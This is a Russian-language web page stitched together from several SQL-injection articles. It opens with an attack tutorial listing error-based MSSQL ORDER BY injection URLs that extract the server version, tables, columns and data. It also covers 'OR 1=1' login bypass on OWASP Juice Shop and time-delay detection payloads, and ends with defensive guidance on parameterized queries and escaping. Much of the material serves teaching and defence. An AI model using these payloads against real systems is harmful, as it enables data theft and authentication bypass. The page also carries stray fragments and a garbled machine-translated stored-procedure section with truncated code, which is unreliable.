Пример sql инъекции: SQL injection для начинающих. Часть 1 / Хабр

Страница не найдена – Information Security Squad

SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)

SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера

Автор: Manish Kishan Tanwar

Введение

Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.

Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.

Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».

С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной. Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.

Схема эксплуатации

Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.

Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».

Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.

Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.

Перечень функций, при помощи которых доступна реализация похожих сценариев:

• convert ()

• file_name ()

• db_name()

• col_name()

• filegroup_name()

• object_name()

• schema_name()

• type_name()

• cast()

Пример

Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name

Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:

Select table_name,column_name from information_schema.columns order by column_name

Примеры инъекций с функцией convert()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by convert(int,@@version)

Рисунок 1: Пример SQL-инъекции для получения версии сервера с использованием функции 

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema.columns))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

Рисунок 2: Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Рисунок 3: Пример 

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))

Рисунок 4: Пример SQL-инъекции для получения информации из колонки с использованием функции convert

Примеры инъекций с функцией file_name()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(@@version)

Рисунок 5: Пример SQL-инъекции для получения версии сервера с использованием функции 

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(select top(1) table_name from information_schema.columns)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)

Рисунок 6: Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Рисунок 7: Пример SQL-инъекции для извлечения имени колонки с использованием функции 

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))

Рисунок 8: Пример SQL-инъекции для получения информации из колонки с использованием функции file_name

Благодарности

Выражаю особую благодарность IndiShell Crew и Myhackerhouse.

SQL-инъекции: общая информация

Автор: Кристин Джеквони (Kristin Jackvony)
Оригинал статьи
Перевод: Ольга Алифанова

Еще один тип атак на безопасность – это SQL-инъекции. Они могут нанести серьезный урон вашему приложению, поэтому очень важно найти эти уязвимости до того, как их найдет злоумышленник.

Осуществляя SQL-инъекцию, злоумышленник отправляет SQL-запрос через поле формы, которое взаимодействует с базой данных неожиданным образом. Вот четыре примера того, что этот нехороший человек может сделать при помощи такой атаки:

• Полностью удалить таблицу.
• Изменить запись о другом пользователе.
• Получить данные, к которым у него не должно быть доступа.
• Авторизоваться без правильных учетных данных.

Чтобы понять, как формируется SQL-инъекция, давайте разберем ее на примере. Предположим, у нас в приложении есть форма с полем имени пользователя. Когда в него вводят имя – например, «testerguy» – и отправляют это серверу, выполняется вот такой SQL-запрос:

SELECT * from users where username = ‘testerguy’

Если такое имя существует в базе, результаты из таблицы пользователей передаются приложению.

Злоумышленник будет пытаться обмануть базу данных:

1. Заставляя ее думать, что запись завершена, передавая имя с кавычкой: testerguy’
2. Добавляя дополнительное условие, например, OR 1=1
3. Добавляя завершающее выражение вроде ; чтобы убедиться, что другие SQL-выражения не выполнятся.

В вышеприведенном примере злоумышленник введет в поле имени примерно следующее:

testerguy’ OR 1=1;

База данных в результате выполнит вот такой запрос:

SELECT * from users where username = ‘testerguy’ OR 1=1;’

Поразмыслите над условием 1=1. Оно всегда будет истинным, и база данных воспримет его как команду вернуть в ответе все, что находится в таблице! Таким образом, этот SELECT-запрос запрашивает все данные на всех пользователей.

Давайте посмотрим на работу SQL-инъекции в действии путем работы с OWASP Juice Shop. Кликните на кнопку логина в левом верхнем углу экрана. Мы используем SQL-инъекцию для логина без правильных учетных данных.

Мы предположим, что при запросе авторизации в базу вот такой запрос:

SELECT * from users where username = ‘testerguy’ AND password = ‘mysecretpass’

Если этот запрос возвращает результаты, то предполагается, что пользователь существует и данные его верны, и вход осуществляется.

Попробуем завершить выражение так, чтобы запрос вернул все имена пользователей, а пароли вообще игнорировались.

Итак, отправим:

1. Какое угодно имя пользователя, например, foo
2. Одиночную кавычку ‘, чтобы ввод выглядел так, как будто он закончен.
3. Условие OR 1=1, чтобы заставить базу данных вернуть все имена пользователей в таблице.
4. Завершающую строку -, чтобы база данных игнорировала все, идущее после нашего запроса.

Строка, переданная на сервер, будет в результате выглядеть так:

foo’ OR 1=1—

можно заметить, что кнопка Submit пока неактивна – ведь мы не добавили пароль. Интерфейс ожидает ввода как имени, так и пароля, чтобы разрешить авторизацию. В поле пароля можно ввести что угодно вообще – мы уже позаботились о том, чтобы то, что мы туда введем, игнорировалось. Давайте напишем там bar.

Теперь при отправке запроса на авторизацию база данных получит вот что:

SELECT * from users where username = ‘foo’ OR 1=1—‘ AND password = ‘bar’

Первая часть этого запроса возвращает всех пользователей, потому что 1=1 всегда истинно. Вторая часть запроса игнорируется, потому что в SQL все, идущее после дефисов – это комментарии. Код, видя, что запрос удачен и возвращены все пользователи, дает нам авторизоваться!

Если вы наведете курсор на иконку пользователя в левом верхнем углу экрана, вы увидите, что вошли как администратор! Его почтовый адрес был первым в базе данных, поэтому использовалась его учетка. Так как вы вошли под администратором, у вас теперь есть расширенный доступ к сайту, которого не могло бы быть, будь вы обычным пользователем.

Очевидно, что таких сценариев хорошо бы избежать, разрабатывая приложение! В следующий раз мы рассмотрим другие SQL-инъекции, которые можно использовать для тестирования на такую уязвимость.

Обсудить в форуме

Хранимые процедуры предотвращения SQL-инъекции?

Хранимых процедур Дон’т магически предотвратить SQL-инъекции, но они делают предотвращая его намного легче. Все, что вам нужно сделать, это что-то вроде следующего (и Postgres пример):

  IN in_user_id INT 
)
[snip]
  SELECT user_id, name, address FROM my_table WHERE user_id = in_user_id; --BAM! SQL INJECTION IMMUNE!!
[snip]

Что’s это! Проблема возникает только при формировании запроса с помощью конкатенации строк (т. е. динамический SQL), и даже в тех случаях вы можете быть в состоянии связать! (Зависит от базы данных).

Как избежать SQL-инъекций в ваш динамический запрос:

Шаг 1) Спросите себя, если вам действительно нужен динамический запрос. Если вы’вновь торчали ниточки вместе просто набор входных данных, то вы’повторно, вероятно, делаете это неправильно. (Есть исключения из этого правила одно исключение для представления запросов на некоторых базах данных, вы можете иметь проблемы с производительностью, если вы не’т заставить его составления нового запроса при каждом выполнении. Но исследовать этот вопрос, прежде чем прыгать в это.)

Шаг 2) исследования, Как правильно задать переменную для конкретной СУРБД. Например, Oracle позволяет сделать следующее (цитирую из документации):

           || v_column || ' = :2';
EXECUTE IMMEDIATE sql_stmt USING amount, column_value; --INJECTION IMMUNE!!

Здесь вы по-прежнему не связывая ввода. Вы спокойно привязки! Ура!

Если ваша база данных не поддерживает что-то вроде выше (надеюсь, никто из них до сих пор так плохо, но я бы’т быть удивлены) — или если вы все-таки действительно должен объединить ваш вклад (как в «иногда» в случае представления запросов как я намекнул выше), то вы должны использовать правильное экранирование функция. Дон’т писать его самостоятельно. Например Постгреса предоставляет quote_literal (функция). Так что вы’г выполнить:

Таким образом, если in_name-то хитрый, как ‘[СНиП] или 1=1’ (на «или 1=1» и часть средств выделить все строки, что позволит пользователю видеть зарплаты он должен’т!), затем quote_literal спасает свою задницу, делая результирующую строку:

Результатов не будет найден (если у тебя есть человек с очень странными именами.)

Что’s не суть! Теперь позвольте мне оставить вам ссылку на классический пост гуру по Oracle том Кайт на предмет SQL-инъекции, чтобы добиться в этом успеха: линки

Инъекция SQL: руководство для начинающих

Внедрение кода или инъекция SQL — это уязвимость системы безопасности в Интернете, позволяющая злоумышленнику завладеть доступом к SQL-запросам в базу данных. Так он может получить конфиденциальную информацию о структуре базы данных, таблицах, столбцах или полях вместе со всеми данными, которые там есть.

Вот пример. Предположим, приложение использует следующий запрос на получение чьих-либо учётных данных:

SELECT USERNAME,PASSWORD from USERS where USERNAME='<username>' AND PASSWORD='<password>';

Здесь имя пользователя username и пароль password — это данные, вводимые пользователем. Допустим, злоумышленник в оба поля введёт ' OR '1'='1. SQL-запрос будет выглядеть так:

SELECT USERNAME,PASSWORD from USERS where USERNAME='' OR '1'='1' AND PASSWORD='' OR '1'='1';

На запрос приходит true, и доступ получен. Это пример самой простой SQL-инъекции.

Инъекция SQL может быть использована где угодно, и с её помощью можно получить любую, даже самую секретную информацию, хранящуюся в базе данных.

Примечание: пример максимально упрощён и приводится здесь исключительно в ознакомительных целях. В реальной жизни таких случаев практически не найти.

Можете заглянуть в эту шпаргалку и узнать, как выполнять запросы в базы данных SQL разных поставщиков.

Как нащупать уязвимость?

В большинстве случаев уязвимость обнаруживается введением неверных параметров, например: ', '' a' or 1=1--, "a"" or 1=1--", or a = a, a' waitfor delay '0:0:10'--, 1 waitfor delay '0:0:10'--, %26, ' or username like '% и т.д. После чего проявляются изменения в поведении приложения.

Можно проанализировать длину ответа сервера и время, требующееся для отправки этого ответа. Такая полезная нагрузка, как ', a' or 1=1-- и т.д., может свидетельствовать об изменениях в ответе сервера баз данных. Но в случае отсутствия изменений мы можем попробовать запустить задержки по времени, используя полезную нагрузку a' waitfor delay '0:0:10'--. Так можно задержать отправку ответа сервера на определённое время.

Узнав, подвержен ли сайт SQL-инъекции, мы можем попытаться вытащить из базы данных интересующую нас информацию.

Но прежде надо определить количество столбцов, возвращаемых на SQL-запрос. Это важно, так как при несовпадении количества столбцов, которые мы пытаемся вытащить, с тем, что мы получим в ответе, нам вернётся ошибка.

Количество столбцов можно определить командой order by. Например:

www.onlineshopping.com/products.php?pid=8 order by 1 -- //
www.onlineshopping.com/products.php?pid=8 order by 2 -- //// Если параметр - строка, то надо добавить после него значок «'».www.onlineshopping.com/products.php?usr=b' order by 3 -- //
www.onlineshopping.com/products.php?usr=a' order by 4 -- //

Комментарии в SQL начинаются вот с такой комбинации символов --. Чтобы сохранить пробел после --, просто добавляем любой символ: так пробел не будет игнорироваться в HTTP-запросе. Для комментариев могут использоваться также # или /* */ в зависимости от поставщика базы данных SQL.

Продолжаем этот процесс, пока не появится ошибка. Если ошибка случилась во время использования полезной нагрузки order by 5, а не order by 4, значит, запрос возвращает 4 столбца.

Как использовать уязвимости

Обнаружив уязвимость приложения и определив количество столбцов, попробуем найти необходимую информацию о базе данных (БД): имя БД, имя пользователя БД, версия БД, имена таблиц, имена столбцов той или иной таблицы и т.д. Загляните в шпаргалку по инъекциям в SQL: там есть соответствующие запросы.

Типы SQL-инъекций

1. На основе ошибки: этот тип SQL-инъекции использует сообщения об ошибке, выбрасываемой сервером базы данных. Такие сообщения могут дать полезную информацию о структуре базы данных.
2. С использованием UNION: эта техника задействует оператор SQL UNION для объединения результатов двух запросов SELECT в единую таблицу. Так злоумышленник может получить информацию из других таблиц добавлением результатов к исходному запросу, выполненному в базу данных.
3. «Слепая» инъекция: имеет место, когда приложение подвержено SQL-инъекции, но результаты SQL-запроса не возвращаются в HTTP-ответе. В этом случае в базу данных выполняется запрос на любой из операторов true/false, и отслеживаются изменения для условий true и false. Этот тип подразделяется на два подтипа:
4. а) На основе данных в ответе сервера: здесь на сервер базы данных выполняется запрос с любым условным оператором, а ответ от сервера анализируется на наличие расхождений при отправке условия true и false.
5. б) С использованием времени ответа сервера: эта техника основана на добавлении SQL-запроса, который замедляет базу данных на определённое время в зависимости от указанного условия. Будет запрос true или false — зависит от времени ответа сервера.
6. С использованием особенностей сервера: редкий тип SQL-инъекции, зависит от конкретных характеристик сервера базы данных. Использует способность сервера базы данных выполнять веб-запросы типа HTTP, DNS и ftp для отправки данных злоумышленнику.

Как защитить код от SQL-инъекции?

1. Никогда не формируйте запрос непосредственно из пользовательских данных. Делайте это через параметризованные запросы. Онисоздают условия для того, чтобы данные, добавляемые в SQL-запросы, были в безопасности.
2. Не будет лишним очистить данные перед сохранением в базе данных. Ну и нужно провести проверку вводимых данных: например, в имени не должно быть цифр, а в номере телефона — букв. Хотя и такие меры защиты не всегда помогают.
3. Используйте безопасный драйвер для взаимодействия с БД SQL, такие как SQLAlchemy для Python, автоматически предотвращающие все атаки с применением SQL-инъекции.

Полезные ссылки

1. SQL Map — инструмент с открытым исходным кодом, который автоматизирует процесс выявления и использования уязвимостей типа SQL-инъекций.
2. Репозиторий с целой кучей информации по SQL-инъекциям. Здесь можно найти шпаргалки и полезные нагрузки, которые пригодятся в самых разных ситуациях.

Читайте также:

Перевод статьи Ashwin Goel: A Beginner’s Guide to SQL Injection

SQL-инъекция для управления уязвимостями — Русские Блоги

1 SQL-инъекция

1.1 Что такое SQL?

• SQL — это аббревиатура структурированного языка Quevy. SQL представляет собой набор команд операций, специально созданный для базы данных, является полнофункциональным
  Язык базы данных .

1.2 Что такое SQL-инъекция?

Атаки SQL-инъекций включают внедрение или «внедрение» вредоносных данных в ввод SQL-запроса от клиента к приложению.
Успешная атака с использованием SQL-инъекции может сделать следующее:

• Читать или изменять конфиденциальные данные в базе данных;
• Выполнять операции управления базой данных;
• Закрыть аудит или СУБД;
• Перехватить таблицы и журналы;
• Добавить пользователя
• Восстановить содержимое указанного файла, существующего в СУБД;
• Выпуск инструкций для операционной системы;

SQL-инъекция включает в себя обычную SQL-инъекцию и слепую инъекцию.

1.2.1 Общие SQL-инъекции

В общем процессе внедрения SQL-кода после того, как злоумышленник введет фрагмент контента с атакующей природой, на веб-странице отобразится соответствующий результат, и злоумышленник может выполнить свою собственную настройку в соответствии с результатом.

• Пример. Уязвимости SQL-инъекций обычно таковы:

String query =“SELECT account_balance FROM user_data WHERE user_name =” + request.getParameter(“customerName”);
try{
    Statement statement = connection.createStatement(...);
    ResultSet results = statement.executeQuery(query);
}

В этом примере, если злоумышленник изменит значение параметра «customerName» в браузере на «smith» или «1» = «1». Например:

    SELECT account_balance FROM user_data WHERE user_name = smith or 1=1

Значение оператора запроса становится возвращением всех записей из таблицы user_data.

1.2.2 слепая инъекция SQL

• Различия между общим SQL-внедрением и слепым внедрением
  При обычном внедрении SQL на веб-странице будет отображаться сообщение об ошибке из базы данных, которое может быть введено различными способами. Если объединение объединено с внедрением SQL, приложение не передает напрямую информацию на веб-странице, и эхо отсутствует. В этом случае вы можете использовать слепое внедрение SQL и использовать операторы true или false, чтобы начать задавать вопросы базе данных. Ответ, чтобы определить, была ли ваша инъекция успешной.

Существует несколько различных типов слепого внедрения: основанное на содержании и основанное на времени внедрение SQL.

• Например
  Мы пытались задать базе данных логический вопрос с уникальным идентификатором. Предположим, у нас есть URL:https://my-shop.com?article=4 Это может быть решено на стороне сервера:

SELECT * from articles where article_id = 4

Когда мы пытаемся изменить информацию об URL как: SELECT * из статей, где article_id = 4 и 1 = 1, она будет проанализирована как:

SELECT * from articles where article_id = 4 AND 1 = 1

Если браузер вернется к тому же экрану с URL-адресом https://my-shop.com?article=4, то веб-сайт уязвим для слепых атак с использованием SQL-инъекций. Если браузер возвращает страницу или другой ответ с контентом, который не найден, известно, что слепая инъекция SQL не влияет на него.

Итак, как мы можем реально воспользоваться этим, мы только что задали очень простой вопрос о данных выше, но вы также можете использовать следующий метод, чтобы задать:https://my-shop.com?article=4 AND substring(database_version(),1,1) = 2
В большинстве случаев сначала найдите тип используемой базы данных, в соответствии с типом базы данных, в которой вы можете найти системные таблицы базы данных, вы можете перечислить все таблицы, которые существуют в базе данных. Используя эту информацию, начните получать информацию из всех таблиц, и вы сможете сбросить базу данных. Обратите внимание, что если разрешения в базе данных установлены правильно, этот метод может не работать (это означает, что пользователи, которые подключаются к данным из веб-приложения, не могут запрашивать системные таблицы).

Другой метод называется инъекцией SQL на основе времени. В этом случае вы ждете, пока база данных не вернет результат. Если вы полностью слепы, вам может понадобиться эта функция в зависимости от времени отправки запроса до полного времени ответа, например:

article = 4; sleep(10) 

1.3 Защитные меры

• Вариант 1: использовать предварительно скомпилированные операторы (параметризованные запросы)

  Использование предварительно скомпилированных операторов с привязками переменных (также называемых параметризованными запросами) является первым методом, который все разработчики должны изучить, как писать запросы к базе данных. Их легче писать и понимать, чем динамические запросы. Параметризованные запросы заставляют разработчиков сначала определять весь код SQL, а затем передавать каждый параметр в запрос. Независимо от того, что ввод, эта кодировка позволяет базе данных различать код и данные.

  Скомпилированный оператор гарантирует, что злоумышленник не сможет изменить цель запроса, даже если злоумышленник вставил команду SQL. В приведенном ниже примере безопасности, если злоумышленник хочет ввести идентификатор пользователя tom ‘или’ 1 ‘=’ 1, параметризованный запрос не будет атакован, но найдет имя пользователя tom ‘или’, которое точно соответствует строке 1 ‘=’ 1.

  • Пример кода безопасности Java
    В следующем примере кода используется PreparedStatement (реализация параметризованного запроса Java) для выполнения того же запроса к базе данных.

  String custname = request.getParameter("customerName"); 
  
  String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
  PreparedStatement pstmt = connection.prepareStatement( query );
  pstmt.setString( 1, custname); 
  ResultSet results = pstmt.executeQuery( );
  

• Вариант 2: использовать хранимые процедуры

SQL-инъекция может внедрить некоторые хранимые процедуры, которые не являются безопасными. Некоторые стандартные конструкции программирования хранимых процедур имеют тот же эффект, что и использование параметризованных запросов. Большинство стандартов языка хранимых процедур требуют, чтобы разработчики создавали операторы SQL, используя только автоматически параметризованные параметры. Разница между подготовленными операторами и хранимыми процедурами заключается в том, что код SQL хранимой процедуры определяется и сохраняется в самой базе данных, а затем вызывается из приложения. Эти два метода имеют одинаковый эффект в предотвращении внедрения SQL.

В некоторых случаях хранимые процедуры могут увеличить риск. Например, на сервере MS SQL у вас есть 3 основные роли по умолчанию: db_datareader, db_datawriter и db_owner. Прежде чем начать использовать хранимую процедуру, администратор базы данных предоставит разрешения db_datareader или db_datawriter пользователям веб-службы по мере необходимости. Однако для хранимой процедуры требуется разрешение на выполнение, которое по умолчанию недоступно. Управление пользователями было сконцентрировано на некоторых настройках, но оно ограничено этими тремя ролями, в результате чего все веб-приложения выполняются с разрешением db_owner, поэтому хранимая процедура может работать нормально. Конечно, это означает, что если сервер скомпрометирован, злоумышленник имеет полный доступ к базе данных, а ранее он мог иметь только доступ для чтения.

• Пример хранимой процедуры Secure Java

В следующем примере кода используется CallableStatement (реализация интерфейса хранимых процедур Java) для выполнения того же запроса к базе данных. Хранимая процедура sp_getAccountBalance должна быть предварительно определена в базе данных и реализовывать ту же функцию, что и запрос, определенный выше.

     String custname = request.getParameter("customerName"); 
     try {
       CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
       cs.setString(1, custname);
       ResultSet results = cs.executeQuery();		
       
       } catch (SQLException se) {			
         
         }

• Вариант 3: проверка ввода белого списка

Проверка белого списка заключается в проверке того, находится ли ввод пользователя в белом списке.По запросу пользователя программа будет оценивать ввод пользователя и критерии в белом списке и отклонять ввод пользователя, если он не совпадает. Белый список определяет собственное определение разработчика, которое может быть вводом, разрешенным определенной переменной, или он может использовать регулярное сопоставление, чтобы соответствовать вводу пользователя.
Ниже приведен пример проверки имени таблицы.

     String tableName;
     switch(PARAM):
            case "Value1": tableName = "fooTable";
            break;
            case "Value2": tableName = "barTable";
            break;
            ...
            default      : throw new InputValidationException("unexpected value provided for table name");

Затем вы можете добавить tableName непосредственно к SQL-запросу, поскольку теперь известно, что оно является одним из допустимых и ожидаемых значений имени таблицы в этом запросе. Однако, поскольку имя таблицы не требуется использовать в запросе, общая функция проверки таблицы может привести к потере данных.

Для таких простых символов, как порядок сортировки, лучше всего преобразовать введенные пользователем входные данные в логическое значение, а затем использовать логическое значение, чтобы выбрать безопасное значение для добавления в запрос. Это очень стандартное требование при создании динамических запросов. Например:

     public String someMethod(boolean sortOrder) {
       String SQLquery = "some SQL ... order by Salary " + (sortOrder ? "ASC" : "DESC");
       ...

В любое время пользовательский ввод может быть преобразован в нестроковый тип, такой как дата, число, логическое значение, тип перечисления и т. Д., А затем добавлен к запросу или использован для выбора значения, которое будет добавлено к запросу, это может гарантировать, что оно будет таким Это безопасно сделать. Во всех случаях рекомендуется использовать проверку входных данных в качестве вторичной защиты даже при использовании переменных связывания.

• Вариант 4: убрать все введенные пользователем данные

Когда какой-либо из перечисленных выше методов невозможен, этот метод следует использовать только в качестве крайней меры. Этот метод состоит в том, чтобы избежать пользовательского ввода, прежде чем поместить его в запрос. Каждая СУБД поддерживает одну или несколько схем экранирования символов, специфичных для определенных запросов. Если вы используете правильную схему экранирования для базы данных, которую вы используете для экранирования всех вводимых пользователем данных, СУБД не будет путать этот ввод с кодом SQL, написанным разработчиком, тем самым избегая любых возможных уязвимостей внедрения SQL.

OWASP Enterprise Security API (ESAPI) — это бесплатная библиотека управления безопасностью веб-приложений с открытым исходным кодом, которая позволяет программистам писать приложения с меньшим риском. Библиотека ESAPI разработана, чтобы облегчить программистам повышение безопасности существующих приложений. Библиотека ESAPI также является прочной основой для новых разработок.
Для получения дополнительной информации о ESAPI см. OWASP (https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)。

• Побег динамический запрос

Использование кодека базы данных ESAPI очень просто. Пример Oracle выглядит следующим образом:

      ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );

Поэтому, если вы сгенерируете существующий динамический запрос в коде, запрос пойдет к Oracle следующим образом:

    String query = "SELECT user_id FROM user_data WHERE user_name = '" + req.getParameter("userID") + "' and user_password = '" + req.getParameter("pwd") +"'";
     try {
       Statement statement = connection.createStatement( … );
       ResultSet results = statement.executeQuery( query );
       }

На этом этапе вы можете переписать оператор запроса первой строки:

    Codec ORACLE_CODEC = new OracleCodec();
    String query = "SELECT user_id FROM user_data WHERE user_name = '" + ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID")) + "' and user_password = '"+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd")) +"'";

Независимо от того, что вы вводите в это время, вы можете эффективно предотвратить внедрение SQL.
Для максимальной читабельности кода мы также можем создать наш собственный OracleEncoder.

    Encoder oe = new OracleEncoder();
    String query = "SELECT user_id FROM user_data WHERE user_name = '" + oe.encode( req.getParameter("userID")) + "' and user_password = '" + oe.encode( req.getParameter("pwd")) +"'";

С этим типом метода вам нужно только инкапсулировать каждый предоставленный пользователем параметр в вызов ESAPI.encoder (). EncodeForOracle () или как вы его называете.

• Отключить преобразование символов

Используйте SET DEFINE OFF или SET SCAN OFF, чтобы убедиться, что автоматическая замена символов отключена. Если эта замена символов включена, символ & будет рассматриваться как префикс переменной SQLPlus, что может позволить злоумышленнику получить личные данные.

• Escape подстановочные знаки в лайк заявления

Ключевое слово LIKE позволяет искать текстовое сканирование. В Oracle символ подчеркивания «_» соответствует только одному символу, а символ «&» используется для соответствия нулю или более вхождений любого символа. Эти символы должны быть экранированы в условиях предложения LIKE. Например:

    SELECT name FROM emp 
    WHERE id LIKE '%/_%' ESCAPE '/';
    SELECT name FROM emp 
    WHERE id LIKE '%\%%' ESCAPE '\';

MySQL поддерживает два режима выхода:
1. ANSI_QUOTES режим SQL и режим отключения, который мы вызываем;
2. Режим MySQL.
Режим ANSI SQL: просто используйте ‘’ (две одинарные кавычки) для кодирования всех символов ’(одинарных кавычек)

В режиме MySQL сделайте следующее:

     NUL (0x00) --> \0  [This is a zero, not the letter O]
     BS  (0x08) --> \b
     TAB (0x09) --> \t
     LF  (0x0a) --> \n
     CR  (0x0d) --> \r
     SUB (0x1a) --> \Z
     "   (0x22) --> \"
     %   (0x25) --> \%
     '   (0x27) --> \'
     \   (0x5c) --> \\
    _   (0x5f) --> \_ 
    Для всех других не алфавитно-цифровых символов значение ASCII меньше 256-> \ c 
         Где «c» - оригинальный не буквенно-цифровой символ.

• Шестнадцатеричное кодирование

Особый случай экранирования — это процесс шестнадцатеричного кодирования всей строки, полученной от пользователя (это можно рассматривать как экранирование каждого символа). Веб-приложения должны кодировать пользовательский ввод в шестнадцатеричном формате, прежде чем включать его в операторы SQL. Оператор SQL должен учитывать этот факт и соответствующим образом сравнивать данные. Например, если нам нужно найти запись, которая соответствует sessionID, и пользователь отправляет строку abc123 в качестве идентификатора сеанса, оператор выбора будет:

     SELECT ... FROM session 
     WHERE hex_encode（sessionID）='616263313233'

(Hex_encode следует заменить конкретным инструментом используемой базы данных.) Строка 606162313233 — это шестнадцатеричная версия строки, полученной от пользователя (это последовательность шестнадцатеричных значений кода ASCII / UTF-8 пользователя) данные).

Если злоумышленник хочет передать строку, содержащую символы одинарных кавычек, а затем пытается ввести код SQL, созданный оператор SQL будет отображаться только следующим образом:

     WHERE hex_encode ( ... ) = '2720 ... '

27 — это код ASCII с одинарными кавычками (шестнадцатеричный), который представляет собой просто шестнадцатеричное кодирование, как и любой другой символ в строке. Сгенерированный SQL может содержать только цифры и буквы от a до f и никогда не может содержать никаких специальных символов, которые могут включить SQL-инъекцию.

инъекции — статья на webew.ru

SQL-инъекции — встраивание вредоносного кода в запросы к базе данных — наиболее опасный вид атак. С использованием SQL-инъекций злоумышленник может не только получить закрытую информацию из базы данных, но и, при определенных условиях, внести туда изменения.

